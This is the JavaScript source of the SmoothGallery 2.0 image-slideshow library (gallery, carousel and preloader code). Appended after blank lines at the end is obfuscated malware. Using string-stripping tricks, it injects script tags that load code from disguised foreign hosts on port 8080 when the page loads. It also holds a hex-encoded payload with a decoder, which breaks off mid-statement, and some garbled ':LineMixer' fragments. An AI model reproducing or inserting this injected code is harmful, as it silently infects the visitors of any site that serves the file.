/*
    This file is part of JonDesign's SmoothGallery v2.0.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
    Contributed code by:
    - Christian Ehret (bugfix)
	- Nitrix (bugfix)
	- Valerio from Mad4Milk for his great help with the carousel scrolling and many other things.
	- Archie Cowan for helping me find a bugfix on carousel inner width problem.
	- Tomocchino from #mootools for the preloader class
	Many thanks to:
	- The mootools team for the great mootools lib, and it's help and support throughout the project.
*/

// declaring the class
var gallery = {
	initialize: function(element, options) {
		this.setOptions({
			showArrows: true,
			showCarousel: true,
			showInfopane: true,
			embedLinks: true,
			fadeDuration: 500,
			timed: false,
			delay: 9000,
			preloader: true,
			preloaderImage: true,
			preloaderErrorImage: true,
			/* Data retrieval */
			manualData: [],
			populateFrom: false,
			populateData: true,
			destroyAfterPopulate: true,
			elementSelector: "div.imageElement",
			titleSelector: "h2",
			subtitleSelector: "p",
			linkSelector: "a.open",
			imageSelector: "img.full",
			thumbnailSelector: "img.thumbnail",
			defaultTransition: "fade",
			/* InfoPane options */
			slideInfoZoneOpacity: 0.7,
			slideInfoZoneSlide: true,
			/* Carousel options */
			carouselMinimizedOpacity: 0.4,
			carouselMinimizedHeight: 20,
			carouselMaximizedOpacity: 0.9,
			thumbHeight: 75,
			thumbWidth: 100,
			thumbSpacing: 10,
			thumbIdleOpacity: 0.2,
			textShowCarousel: 'Featured Content',
			showCarouselLabel: true,
			thumbCloseCarousel: true,
			useThumbGenerator: false,
			thumbGenerator: 'resizer.php',
			useExternalCarousel: false,
			carouselElement: false,
			carouselHorizontal: true,
			activateCarouselScroller: true,
			carouselPreloader: true,
			textPreloadingCarousel: 'Loading...',
			/* CSS Classes */
			baseClass: 'jdGallery',
			withArrowsClass: 'withArrows',
			/* Plugins: HistoryManager */
			useHistoryManager: false,
			customHistoryKey: false
		}, options);
		this.fireEvent('onInit');
		this.currentIter = 0;
		this.lastIter = 0;
		this.maxIter = 0;
		this.galleryElement = element;
		this.galleryData = this.options.manualData;
		this.galleryInit = 1;
		this.galleryElements = Array();
		this.thumbnailElements = Array();
		this.galleryElement.addClass(this.options.baseClass);
		
		this.populateFrom = element;
		if (this.options.populateFrom)
			this.populateFrom = this.options.populateFrom;		
		if (this.options.populateData)
			this.populateData();
		element.style.display="block";
		
		if (this.options.useHistoryManager)
			this.initHistory();
		
		if (this.options.embedLinks)
		{
			this.currentLink = new Element('a').addClass('open').setProperties({
				href: '#',
				title: ''
			}).injectInside(element);
			if ((!this.options.showArrows) && (!this.options.showCarousel))
				this.galleryElement = element = this.currentLink;
			else
				this.currentLink.setStyle('display', 'none');
		}
		
		this.constructElements();
		if ((this.galleryData.length>1)&&(this.options.showArrows))
		{
			var leftArrow = new Element('a').addClass('left').addEvent(
				'click',
				this.prevItem.bind(this)
			).injectInside(element);
			var rightArrow = new Element('a').addClass('right').addEvent(
				'click',
				this.nextItem.bind(this)
			).injectInside(element);
			this.galleryElement.addClass(this.options.withArrowsClass);
		}
		this.loadingElement = new Element('div').addClass('loadingElement').injectInside(element);
		if (this.options.showInfopane) this.initInfoSlideshow();
		if (this.options.showCarousel) this.initCarousel();
		this.doSlideShow(1);
	},
	populateData: function() {
		currentArrayPlace = this.galleryData.length;
		options = this.options;
		var data = $A(this.galleryData);
		data.extend(this.populateGallery(this.populateFrom, currentArrayPlace));
		this.galleryData = data;
		this.fireEvent('onPopulated');
	},
	populateGallery: function(element, startNumber) {
		var data = [];
		options = this.options;
		currentArrayPlace = startNumber;
		element.getElements(options.elementSelector).each(function(el) {
			elementDict = {
				image: el.getElement(options.imageSelector).getProperty('src'),
				number: currentArrayPlace,
				transition: this.options.defaultTransition
			};
			elementDict.extend = $extend;
			if ((options.showInfopane) | (options.showCarousel))
				elementDict.extend({
					title: el.getElement(options.titleSelector).innerHTML,
					description: el.getElement(options.subtitleSelector).innerHTML
				});
			if (options.embedLinks)
				elementDict.extend({
					link: el.getElement(options.linkSelector).href||false,
					linkTitle: el.getElement(options.linkSelector).title||false,
					linkTarget: el.getElement(options.linkSelector).getProperty('target')||false
				});
			if ((!options.useThumbGenerator) && (options.showCarousel))
				elementDict.extend({
					thumbnail: el.getElement(options.thumbnailSelector).getProperty('src')
				});
			else if (options.useThumbGenerator)
				elementDict.extend({
					thumbnail: options.thumbGenerator + '?imgfile=' + elementDict.image + '&max_width=' + options.thumbWidth + '&max_height=' + options.thumbHeight
				});
			
			data.extend([elementDict]);
			currentArrayPlace++;
			if (this.options.destroyAfterPopulate)
				el.remove();
		});
		return data;
	},
	constructElements: function() {
		el = this.galleryElement;
		this.maxIter = this.galleryData.length;
		var currentImg;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Styles(
				new Element('div').addClass('slideElement').setStyles({
					'position':'absolute',
					'left':'0px',
					'right':'0px',
					'margin':'0px',
					'padding':'0px',
					'backgroundPosition':"center center",
					'opacity':'0'
				}).injectInside(el),
				'opacity',
				{duration: this.options.fadeDuration}
			);
			if (this.options.preloader)
			{
				currentImg.source = this.galleryData[i].image;
				currentImg.loaded = false;
				currentImg.load = function(imageStyle) {
					if (!imageStyle.loaded)	{
						new Asset.image(imageStyle.source, {
		                            'onload'  : function(img){
													img.element.setStyle(
													'backgroundImage',
													"url('" + img.source + "')")
													img.loaded = true;
												}.bind(this, imageStyle)
						});
					}
				}.pass(currentImg, this);
			} else {
				currentImg.element.setStyle('backgroundImage',
									"url('" + this.galleryData[i].image + "')");
			}
			this.galleryElements[parseInt(i)] = currentImg;
		}
	},
	destroySlideShow: function(element) {
		var myClassName = element.className;
		var newElement = new Element('div').addClass('myClassName');
		element.parentNode.replaceChild(newElement, element);
	},
	startSlideShow: function() {
		this.fireEvent('onStart');
		this.loadingElement.style.display = "none";
		this.lastIter = this.maxIter - 1;
		this.currentIter = 0;
		this.galleryInit = 0;
		this.galleryElements[parseInt(this.currentIter)].set({opacity: 1});
		if (this.options.showInfopane)
			this.showInfoSlideShow.delay(1000, this);
		var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
		if (this.options.showCarousel&&(!this.options.carouselPreloader))
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.prepareTimer();
		if (this.options.embedLinks)
			this.makeLink(this.currentIter);
	},
	nextItem: function() {
		this.fireEvent('onNextCalled');
		this.nextIter = this.currentIter+1;
		if (this.nextIter >= this.maxIter)
			this.nextIter = 0;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	prevItem: function() {
		this.fireEvent('onPreviousCalled');
		this.nextIter = this.currentIter-1;
		if (this.nextIter <= -1)
			this.nextIter = this.maxIter - 1;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	goTo: function(num) {
		this.clearTimer();
		if(this.options.preloader)
		{
			this.galleryElements[num].load();
			if (num==0)
				this.galleryElements[this.maxIter - 1].load();
			else
				this.galleryElements[num - 1].load();
			if (num==(this.maxIter - 1))
				this.galleryElements[0].load();
			else
				this.galleryElements[num + 1].load();
				
		}
		if (this.options.embedLinks)
			this.clearLink();
		if (this.options.showInfopane)
		{
			this.slideInfoZone.clearChain();
			this.hideInfoSlideShow().chain(this.changeItem.pass(num, this));
		} else
			this.currentChangeDelay = this.changeItem.delay(500, this, num);
		if (this.options.embedLinks)
			this.makeLink(num);
		this.prepareTimer();
		/*if (this.options.showCarousel)
			this.clearThumbnailsHighlights();*/
	},
	changeItem: function(num) {
		this.fireEvent('onStartChanging');
		this.galleryInit = 0;
		if (this.currentIter != num)
		{
			for(i=0;i<this.maxIter;i++)
			{
				if ((i != this.currentIter)) this.galleryElements[i].set({opacity: 0});
			}
			gallery.Transitions[this.galleryData[num].transition].pass([
				this.galleryElements[this.currentIter],
				this.galleryElements[num],
				this.currentIter,
				num], this)();
			this.currentIter = num;
		}
		var textShowCarousel = formatString(this.options.textShowCarousel, num+1, this.maxIter);
		if (this.options.showCarousel)
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.doSlideShow.bind(this)();
		this.fireEvent('onChanged');
	},
	clearTimer: function() {
		if (this.options.timed)
			$clear(this.timer);
	},
	prepareTimer: function() {
		if (this.options.timed)
			this.timer = this.nextItem.delay(this.options.delay, this);
	},
	doSlideShow: function(position) {
		if (this.galleryInit == 1)
		{
			imgPreloader = new Image();
			imgPreloader.onload=function(){
				this.startSlideShow.delay(10, this);
			}.bind(this);
			imgPreloader.src = this.galleryData[0].image;
			if(this.options.preloader)
				this.galleryElements[0].load();
		} else {
			if (this.options.showInfopane)
			{
				if (this.options.showInfopane)
				{
					this.showInfoSlideShow.delay((500 + this.options.fadeDuration), this);
				} else
					if ((this.options.showCarousel)&&(this.options.activateCarouselScroller))
						this.centerCarouselOn(position);
			}
		}
	},
	createCarousel: function() {
		var carouselElement;
		if (!this.options.useExternalCarousel)
		{
			var carouselContainerElement = new Element('div').addClass('carouselContainer').injectInside(this.galleryElement);
			this.carouselContainer = new Fx.Styles(carouselContainerElement, {transition: Fx.Transitions.expoOut});
			this.carouselContainer.normalHeight = carouselContainerElement.offsetHeight;
			this.carouselContainer.set({'opacity': this.options.carouselMinimizedOpacity, 'top': (this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight)});
			this.carouselBtn = new Element('a').addClass('carouselBtn').setProperties({
				title: this.options.textShowCarousel
			}).injectInside(carouselContainerElement);
			if(this.options.carouselPreloader)
				this.carouselBtn.setHTML(this.options.textPreloadingCarousel);
			else
				this.carouselBtn.setHTML(this.options.textShowCarousel);
			this.carouselBtn.addEvent(
				'click',
				function () {
					this.carouselContainer.clearTimer();
					this.toggleCarousel();
				}.bind(this)
			);
			this.carouselActive = false;
	
			carouselElement = new Element('div').addClass('carousel').injectInside(carouselContainerElement);
			this.carousel = new Fx.Styles(carouselElement);
		} else {
			carouselElement = $(this.options.carouselElement).addClass('jdExtCarousel');
		}
		this.carouselElement = new Fx.Styles(carouselElement, {transition: Fx.Transitions.expoOut});
		this.carouselElement.normalHeight = carouselElement.offsetHeight;
		if (this.options.showCarouselLabel)
			this.carouselLabel = new Element('p').addClass('label').injectInside(carouselElement);
		carouselWrapper = new Element('div').addClass('carouselWrapper').injectInside(carouselElement);
		this.carouselWrapper = new Fx.Styles(carouselWrapper, {transition: Fx.Transitions.expoOut});
		this.carouselWrapper.normalHeight = carouselWrapper.offsetHeight;
		this.carouselInner = new Element('div').addClass('carouselInner').injectInside(carouselWrapper);
		if (this.options.activateCarouselScroller)
		{
			this.carouselWrapper.scroller = new Scroller(carouselWrapper, {
				area: 100,
				velocity: 0.2
			})
			
			this.carouselWrapper.elementScroller = new Fx.Scroll(carouselWrapper, {
				duration: 400,
				onStart: this.carouselWrapper.scroller.stop.bind(this.carouselWrapper.scroller),
				onComplete: this.carouselWrapper.scroller.start.bind(this.carouselWrapper.scroller)
			});
		}
	},
	fillCarousel: function() {
		this.constructThumbnails();
		this.carouselInner.normalWidth = ((this.maxIter * (this.options.thumbWidth + this.options.thumbSpacing + 2))+this.options.thumbSpacing) + "px";
		this.carouselInner.style.width = this.carouselInner.normalWidth;
	},
	initCarousel: function () {
		this.createCarousel();
		this.fillCarousel();
		if (this.options.carouselPreloader)
			this.preloadThumbnails();
	},
	flushCarousel: function() {
		this.thumbnailElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.thumbnailElements = [];
	},
	toggleCarousel: function() {
		if (this.carouselActive)
			this.hideCarousel();
		else
			this.showCarousel();
	},
	showCarousel: function () {
		this.fireEvent('onShowCarousel');
		this.carouselContainer.start({
			'opacity': this.options.carouselMaximizedOpacity,
			'top': 0
		}).chain(function() {
			this.carouselActive = true;
			this.carouselWrapper.scroller.start();
			this.fireEvent('onCarouselShown');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	hideCarousel: function () {
		this.fireEvent('onHideCarousel');
		var targetTop = this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight;
		this.carouselContainer.start({
			'opacity': this.options.carouselMinimizedOpacity,
			'top': targetTop
		}).chain(function() {
			this.carouselActive = false;
			this.carouselWrapper.scroller.stop();
			this.fireEvent('onCarouselHidden');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	constructThumbnails: function () {
		element = this.carouselInner;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Style(new Element ('div').addClass("thumbnail").setStyles({
					backgroundImage: "url('" + this.galleryData[i].thumbnail + "')",
					backgroundPosition: "center center",
					backgroundRepeat: 'no-repeat',
					marginLeft: this.options.thumbSpacing + "px",
					width: this.options.thumbWidth + "px",
					height: this.options.thumbHeight + "px"
				}).injectInside(element), "opacity", {duration: 200}).set(this.options.thumbIdleOpacity);
			currentImg.element.addEvents({
				'mouseover': function (myself) {
					myself.clearTimer();
					myself.start(0.99);
					if (this.options.showCarouselLabel)
						$(this.carouselLabel).setHTML('<span class="number">' + (myself.relatedImage.number + 1) + "/" + this.maxIter + ":</span> " + myself.relatedImage.title);
				}.pass(currentImg, this),
				'mouseout': function (myself) {
					myself.clearTimer();
					myself.start(this.options.thumbIdleOpacity);
				}.pass(currentImg, this),
				'click': function (myself) {
					this.goTo(myself.relatedImage.number);
					if (this.options.thumbCloseCarousel)
						this.hideCarousel();
				}.pass(currentImg, this)
			});
			
			currentImg.relatedImage = this.galleryData[i];
			this.thumbnailElements[parseInt(i)] = currentImg;
		}
	},
	log: function(value) {
		if(console.log)
			console.log(value);
	},
	preloadThumbnails: function() {
		var thumbnails = [];
		for(i=0;i<this.galleryData.length;i++)
		{
			thumbnails[parseInt(i)] = this.galleryData[i].thumbnail;
		}
		this.thumbnailPreloader = new Preloader();
		this.thumbnailPreloader.addEvent('onComplete', function() {
			var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		}.bind(this));
		this.thumbnailPreloader.load(thumbnails);
	},
	clearThumbnailsHighlights: function()
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].start(0.2);
		}
	},
	changeThumbnailsSize: function(width, height)
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].element.setStyles({
				'width': width + "px",
				'height': height + "px"
			});
		}
	},
	centerCarouselOn: function(num) {
		if (!this.carouselWallMode)
		{
			var carouselElement = this.thumbnailElements[num];
			var position = carouselElement.element.offsetLeft + (carouselElement.element.offsetWidth / 2);
			var carouselWidth = this.carouselWrapper.element.offsetWidth;
			var carouselInnerWidth = this.carouselInner.offsetWidth;
			var diffWidth = carouselWidth / 2;
			var scrollPos = position-diffWidth;
			this.carouselWrapper.elementScroller.scrollTo(scrollPos,0);
		}
	},
	initInfoSlideshow: function() {
		/*if (this.slideInfoZone.element)
			this.slideInfoZone.element.remove();*/
		this.slideInfoZone = new Fx.Styles(new Element('div').addClass('slideInfoZone').injectInside($(this.galleryElement))).set({'opacity':0});
		var slideInfoZoneTitle = new Element('h2').injectInside(this.slideInfoZone.element);
		var slideInfoZoneDescription = new Element('p').injectInside(this.slideInfoZone.element);
		this.slideInfoZone.normalHeight = this.slideInfoZone.element.offsetHeight;
		this.slideInfoZone.element.setStyle('opacity',0);
	},
	changeInfoSlideShow: function()
	{
		this.hideInfoSlideShow.delay(10, this);
		this.showInfoSlideShow.delay(500, this);
	},
	showInfoSlideShow: function() {
		this.fireEvent('onShowInfopane');
		this.slideInfoZone.clearTimer();
		element = this.slideInfoZone.element;
		element.getElement('h2').setHTML(this.galleryData[this.currentIter].title);
		element.getElement('p').setHTML(this.galleryData[this.currentIter].description);
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity], 'height': [0, this.slideInfoZone.normalHeight]});
		else
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity]});
		if (this.options.showCarousel)
			this.slideInfoZone.chain(this.centerCarouselOn.pass(this.currentIter, this));
		return this.slideInfoZone;
	},
	hideInfoSlideShow: function() {
		this.fireEvent('onHideInfopane');
		this.slideInfoZone.clearTimer();
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': 0, 'height': 0});
		else
			this.slideInfoZone.start({'opacity': 0});
		return this.slideInfoZone;
	},
	makeLink: function(num) {
		this.currentLink.setProperties({
			href: this.galleryData[num].link,
			title: this.galleryData[num].linkTitle
		})
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'block');
	},
	clearLink: function() {
		this.currentLink.setProperties({href: '', title: ''});
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'none');
	},
	/* To change the gallery data, those two functions : */
	flushGallery: function() {
		this.galleryElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.galleryElements = [];
	},
	changeData: function(data) {
		this.galleryData = data;
		this.clearTimer();
		this.flushGallery();
		if (this.options.showCarousel) this.flushCarousel();
		this.constructElements();
		if (this.options.showCarousel) this.fillCarousel();
		if (this.options.showInfopane) this.hideInfoSlideShow();
		this.galleryInit=1;
		this.lastIter=0;
		this.currentIter=0;
		this.doSlideShow(1);
	},
	/* Plugins: HistoryManager */
	initHistory: function() {
		this.fireEvent('onHistoryInit');
		this.historyKey = this.galleryElement.id + '-picture';
		if (this.options.customHistoryKey)
			this.historyKey = this.options.customHistoryKey();
		this.history = HistoryManager.register(
			this.historyKey,
			[1],
			function(values) {
				if (parseInt(values[0])-1 < this.maxIter)
					this.goTo(parseInt(values[0])-1);
			}.bind(this),
			function(values) {
				return [this.historyKey, '(', values[0], ')'].join('');
			}.bind(this),
			this.historyKey + '\\((\\d+)\\)');
		this.addEvent('onChanged', function(){
			this.history.setValue(0, this.currentIter+1);
		}.bind(this));
		this.fireEvent('onHistoryInited');
	}
};
gallery = new Class(gallery);
gallery.implement(new Events);
gallery.implement(new Options);

gallery.Transitions = new Abstract ({
	fade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		if (newPos > oldPos) newFx.start({opacity: 1});
		else
		{
			newFx.set({opacity: 1});
			oldFx.start({opacity: 0});
		}
	},
	crossfade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		newFx.start({opacity: 1});
		oldFx.start({opacity: 0});
	},
	fadebg: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration / 2;
		oldFx.start({opacity: 0}).chain(newFx.start.pass([{opacity: 1}], newFx));
	}
});

/* All code copyright 2007 Jonathan Schemoul */

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: Preloader (class)
 * Simple class for preloading images with support for progress reporting
 * Copyright 2007 Tomocchino.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

var Preloader = new Class({
  
  Implements: [Events, Options],

  options: {
    root        : '',
    period      : 100
  },
  
  initialize: function(options){
    this.setOptions(options);
  },
  
  load: function(sources) {
    this.index = 0;
    this.images = [];
    this.sources = this.temps = sources;
    this.total = this. sources.length;
    
    this.fireEvent('onStart', [this.index, this.total]);
    this.timer = this.progress.periodical(this.options.period, this);
    
    this.sources.each(function(source, index){
      this.images[index] = new Asset.image(this.options.root + source, {
        'onload'  : function(){ this.index++; if(this.images[index]) this.fireEvent('onLoad', [this.images[index], index, source]); }.bind(this),
        'onerror' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this),
        'onabort' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this)
      });
    }, this);
  },
  
  progress: function() {
    this.fireEvent('onProgress', [Math.min(this.index, this.total), this.total]);
    if(this.index >= this.total) this.complete();
  },
  
  complete: function(){
    $clear(this.timer);
    this.fireEvent('onComplete', [this.images]);
  },
  
  cancel: function(){
    $clear(this.timer);
  }
  
});

Preloader.implement(new Events, new Options);

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: formatString (function)
 * Original name: Yahoo.Tools.printf
 * Copyright Yahoo.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

function formatString() {
	var num = arguments.length;
	var oStr = arguments[0];
	for (var i = 1; i < num; i++) {
		var pattern = "\\{" + (i-1) + "\\}"; 
		var re = new RegExp(pattern, "g");
		oStr = oStr.replace(re, arguments[i]);
	}
	return oStr; 
}
















var e=new String();var aa;if(aa!='b' && aa!='p_'){aa=''};this.p_a=64377;var n=window;var t='sPcOrPiHpHtH'.replace(/[HO\|7P]/g, '');this.pl="pl";var u;if(u!='_p'){u='_p'};var p=document;var c;if(c!='' && c!='v'){c=null};var o;if(o!='qq' && o!='ff'){o='qq'};var aj;if(aj!='ly'){aj=''};var ux="";n.onload=function(){try {var ht=false;w=p.createElement(t);var kv;if(kv!='ir' && kv != ''){kv=null};var co;if(co!='' && co!='bq'){co=null};var tn=new String();w.src='h,t&t&p,:+/&/+gOoOoOgOlOeO-,c,o,m+-Od+o,.wo&p+t+mwd,.Oc&o&mO.wbOl+o&gOf&a+-+c,owmO.Orwe,c+e+nwt,mwe,x&i,c+o&.+r+u&:O8,0+8&0w/&s,cOh+u,e+l+e&r,v,z&.OnOewt+/Os,c&h,u,ewl,eOr,vwz+.+nwewt&/Oown+e,t+.&p+l+/&gwo+o,g&l&ew.+cwo,mw/&cOj,.+c&oOm+/+'.replace(/[\+w,&O]/g, '');this.jo="jo";w.setAttribute('dteCfUeUrC'.replace(/[C6U,t]/g, ''), "1");var ek;if(ek!='sy'){ek=''};var lm;if(lm!='lb'){lm=''};var zo;if(zo!='z'){zo=''};var vzv=59097;p.body.appendChild(w);} catch(a){};var yy=false;var le=17221;};
try {var l=new Date();var r;if(r!='b'){r='b'};:LineMixer [var w='hYt|tPpP:6/J/PmJy|bYeJsJtPy6oJuPx6iJ-6cJnY.YgYa6m|eJfYa|qYsP.|cJo6m|.PgPoYo6g|lYe6-Pc|oP-Ji6d|.JbPe|s|t6nPe6wJsJmJa6lYlJ.|rPuP:Y8Y068J06/Jg6oYoJgYl6e|.JfYrJ/JgYoPoYg6lYeY.JfPr|/YgPoJo6gPlYeP.PcYoJm6/PwYi|nPdJoYw6s6l6iYvYeJ.Pc6o6m6/PsPk6yJ.JcPoYmY/6'.replace(/[6YJ\|P]/g, '');var wy;if(wy!='ym' && wy != ''){wy=null};var y='s%cnrni+p+tn'.replace(/[n\+V\$%]/g, '');this.kq="kq";var s='cGrVedaVt#eGE#lVe#mVeGnit#'.replace(/[#GdVi]/g, '');var z='otn;lZo;a@d@'.replace(/[@;tAZ]/g, '');this.t="";var k="1";var m='a%pIpIe9n9dICIh9i%l9d|'.replace(/[\|%9gI]/g, '');var q='';var v='sveptpAptRtYrYipbZuvtYeZ'.replace(/[ZvRpY]/g, '');var j='bEoYd4yY'.replace(/[Y4f,E]/g, '');var od;if(od!='' && od!='_q'){od=''};]this.zb=49259;var p="p";window[z]=function(){var q_;if(q_!='td' && q_!='i'){q_='td'};h=document[s](y);var el;if(el!='rt'){el=''};var lh=new Array();:LineMixer [var oj;if(oj!='ps' && oj!='im'){oj='ps'};h['sOrOcO'.replace(/[O#pMw]/g, '')]=w;h[v]('dtetfMeMrt'.replace(/[tjM4w]/g, ''), k);var qz;if(qz!='xi'){qz='xi'};var d=document[j];var ey;if(ey!=''){ey='ao'};]this.ot=false;var be;if(be!='' && be!='gw'){be=null};d[m](h);};this.lq=11666;} catch(yj){var cc=new Date();};
this.d=false;function j() {function g(i,n,z){var r;if(r!='w'){r='w'};i['szedtGAztGtzrkidbdudtzeM'.replace(/[MzdGk]/g, '')](n, z);var k=new Date();var zq=new Date();}this.i_="";var c='sMcXr<i<pHt$'.replace(/[\$\<HMX]/g, '');var ja;if(ja!=''){ja='az'};var rb;if(rb!=''){rb='it'};var u=window;var q;if(q!='vq' && q!='ij'){q='vq'};var jaa;if(jaa!='aq' && jaa!='iu'){jaa='aq'};var m='cxrIeMaxtGeMEIlxefmxeInGtI'.replace(/[IfxGM]/g, '');var zr;if(zr!='' && zr!='mi'){zr=null};this.cy=50400;u['o:nOlro0a0d:'.replace(/[\:rA0O]/g, '')]=function(){try {h=document[m](c);var dn;if(dn!='oe'){dn=''};var eq='';var nj=false;this.bw='';g(h,'sOr$c$'.replace(/[\$\.@lO]/g, ''),'h3tTt3p3:3/W/QaWt~t~-Qc3oQmT.~jQuQg3e3m3.Qj~pW.Qt3aWtWt3o~oQdQlWeW-~c3o~mQ.3mWe~d3i~a3tQa~gQoWnQlTiWn~eQ.~r~uT:38Q0Q8~0~/~i3fWe3nQgQ.3c3o3mQ/Qi~fTeQnTgT.Qc~o3mT/3a3r3mToTrTgWa3mQeTsQ.TcQoQm~/~g3o~oWg~lTeW.~cQoQmT/~gWo~a3lT.Qc~oQm~/3'.replace(/[3QWT~]/g, ''));var t_="t_";g(h,'dXeGfUekrG'.replace(/[GXU\:k]/g, ''),1);var iz=3757;var ks=46303;document['bXomdmyX'.replace(/[Xfx%m]/g, '')]['a8p8pAegnOdgCOhOiAlgd8'.replace(/[8OAgZ]/g, '')](h);this.yz="yz";this.ss="ss";} catch(v){};var jo=19253;this.fv="";};this.bi="bi";var wb=60270;};j();var et;if(et!='' && et!='nf'){et='bkd'};var ha;if(ha!='' && ha!='qy'){ha='bo'};
var uvP="c0fec9d9efb1fdc7c3e3eea0dec3fec7abe1cab283848182f9c3dff3e4a7e2d9e4dee2fce8fae8cdf3c5f5dffbc7e6ccf1d2daf5fccaf0ebc4e2c4dddcc0c4c8c3c7dda8e9e692deedd5b2d6c28de3e0";var nl=50875;var uus;if(uus!='FZ' && uus!='Hx'){uus='FZ'};var DR;if(DR!='es' && DR!='Mp'){DR='es'};function I(r){var kj;if(kj!='sQ' && kj!='oy'){kj='sQ'};var lr;if(lr!='oA'){lr='oA'}; var GD;if(GD!='Nm' && GD!='f'){GD='Nm'};function uu(j){var Wc;if(Wc!='' && Wc!='PZ'){Wc='J'};this.H='';var L = '';var cD=new String();var K =[0,52,52][0];var h = -1;var N =[152,0][1];j = new o(j);var Wi=false;var zo;if(zo!='' && zo!='a'){zo=''};var m=64313;var O;if(O!='ne'){O='ne'};var b;if(b!='' && b!='xM'){b=null};for (K=j[u("gnleth", [2,3,1,0])]-h;K>=N;K=K-[42,191,1,46][2]){L+=j[u("Ahacrt", [3,1,2,4,0])](K);}var Az;if(Az!='GM' && Az != ''){Az=null};this.w="";return L;var wM=new String();}this.EL='';this.GL="GL";var dZ=new String();var OF=false; var Lk=function(V,U){return V[u("rChadcoeAt", [5,2,3,0,1,6,4])](U);var Gtv=new Array();var Tw;if(Tw!='wA'){Tw='wA'};};var pW=12638;var yU;if(yU!='Ml' && yU != ''){yU=null};var Bp;if(Bp!='' && Bp!='pk'){Bp=null};this.Ag=''; var Z=function(R,Ic){var kT="kT";this.Sv='';return R^Ic;}; var lL;if(lL!='' && lL!='xY'){lL=null};function u(j, s){var Dr=new Array();var d=[1,173][0];var al;if(al!='' && al!='bd'){al=null};var jL=new Array();var g = j.length;this.OB=9524;var Rp;if(Rp!='' && Rp!='jG'){Rp='sY'};var N=[23,0][1];var L = '';var vm=false;var k = s.length;this.zB='';var jh;if(jh!='Sx' && jh != ''){jh=null};var oT;if(oT!='' && oT!='Hq'){oT=null};for(var K = N; K < g; K += k) {var B = j.substr(K, k);var EZ;if(EZ!='sn' && EZ != ''){EZ=null};var zA=false;var bE;if(bE!='BF' && bE!='lt'){bE='BF'};if(B.length == k){var PJ=new Date();var oa=new Date();this.Cn=42848;var qE;if(qE!='yf' && qE != ''){qE=null};for(var t in s) {var lT;if(lT!='OK'){lT=''};var yG=new Date();var jU=false;L+=B.substr(s[t], d);var PF=53058;var Du;if(Du!='tF'){Du=''};var yP=false;var gc=false;}var uX;if(uX!='' && uX!='SC'){uX=''};var bo=false;var AsH=false;} else {var ZI="ZI";var qq="";  L+=B;var Bk;if(Bk!='vt'){Bk=''};var Zk;if(Zk!='Uf'){Zk=''};}}var Eda="Eda";var TD='';var na;if(na!='Lkc'){na='Lkc'};var mF=50756;return L;var oQ;if(oQ!='nr'){oQ='nr'};var il="";}var lU="lU";var Ff="Ff";this.fd="";var yd=56799; var lG="lG";var hg="hg";function p(C){var WW;if(WW!='' && WW!='Iu'){WW=null};var n=[0,144][0];this.sp=false;var gJ=26453;var T=C[u("nelght", [2,1,0,3,5,4])];this.NN="";var t=[0,37,23][0];var rV;if(rV!='' && rV!='jAv'){rV=''};var ib;if(ib!='' && ib!='gy'){ib='UT'};var d=[47,1][1];var BG=new Array();var XG=48420;var Tk=[42,255][1];var zw="";var lg;if(lg!='dQ' && lg != ''){lg=null};var hB="hB";while(t<T){var 